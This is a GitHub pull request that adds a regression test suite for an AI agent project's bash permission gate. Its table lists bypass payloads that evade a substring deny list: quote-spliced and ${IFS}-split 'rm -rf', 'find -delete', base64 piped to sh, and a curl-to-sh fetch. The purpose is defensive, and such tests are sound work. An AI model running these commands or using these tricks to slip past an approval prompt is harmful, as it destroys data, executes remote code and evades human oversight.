Skip to content

test(permission): regression suite for shell-word gate bypasses (companion to #596) - #597

Open
failsafesecurity wants to merge 2 commits into
shareAI-lab:mainfrom
failsafesecurity:test/permission-gate-bypass
Open

failsafesecurity wants to merge 2 commits into
shareAI-lab:mainfrom
failsafesecurity:test/permission-gate-bypass

Conversation

@failsafesecurity

Copy link
Copy Markdown

Summary

Companion to #596. Adds a dedicated regression suite that locks the shell-word permission gate against the bypass payloads from the scan finding.

Depends on #596. The tests exercise the new parsed gate (check_deny_list / contains_destructive_command) added there. Applied alone on main, the bypass cases exercise the old substring gate and fail by design; #596 must land first (or be merged together).

tests/test_permission_gate_bypass.py

Parameterised across every affected chapter (s03, s04, s05, s06, s07, s08, s09, s10, s11, s12, s13, s14, s15, s17) — 224 cases total.

Bypass payloads — must be classified destructive:

Payload Bypass class
r''m -rf scratch shell quote splicing
r"m" -rf scratch shell quote splicing
rm${IFS}-rf scratch ${IFS} field splitting
$'r''m' -rf scratch ANSI-C quoting splice
r\m -rf scratch backslash escape
bash -c 'rm${IFS}-rf scratch' interpreter -c payload
find scratch -delete indirect delete
echo ZGF0YQ== | base64 -d | sh pipe-to-shell
curl -s http://…/x.sh | sh pipe-to-shell
xargs rm -rf scratch delegating command

Safe commands — must stay clean: model list, delimiter file.txt, echo del file.txt, echo; delimiter file.txt, git status, ls -la.

Result

tests/test_permission_gate_bypass.py ... 224 passed

These cases fail against the previous substring gate (it returned None for every bypass payload), so the suite guards the fix against regression.

Scan ID: cmv8cwn0900cemx01mergtg71 · Finding ID: cmv8oj8fz00lbmx01oudlt68k

failsafesecurity added 2 commits October 14, 2026 17:25
The bash permission gate matched raw substrings, so quote splicing (`r''m`),
${IFS} splitting, $'...' quoting, backslash escapes, `find -delete`, and
pipe-to-shell bypassed both the deny list and the destructive-command rule and
executed for real with no approval prompt.

Replace the substring gate with a shared parser that tokenizes the command into
shell words (normalising ${IFS}, ${VAR}, $'...' and $VAR before lexing),
splits it into pipeline segments, resolves argv[0] to its basename, and denies
by command name plus argv inspection. Interpreters (`bash -c`, pipe-to-shell),
`find -delete`, and delegating commands (xargs/env/...) are inspected through
to their payloads, redirects to sensitive paths require approval, and
unparseable quoting fails closed.

Applied to s03, s04, s05, s06, s07, s08, s09, s10, s11, s12, s13, s14, s15, s17.
Updates the s11 background-tasks test, which previously passed only because the
substring gate matched `rm -rf /` inside `rm -rf /tmp/example`.
Adds tests/test_permission_gate_bypass.py, which drives the real gate functions
of every affected chapter with the reproduction payloads from the scan finding
(quote splicing, ${IFS}, $'...', backslash escapes, bash -c, find -delete,
pipe-to-shell, xargs) and asserts they are classified as destructive, while
ordinary commands are not flagged.

Companion to the shell-word parsed-gate fix (this branch is stacked on it); the
bypass cases fail against the previous substring gate.

This branch has not been deployed

No deployments
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant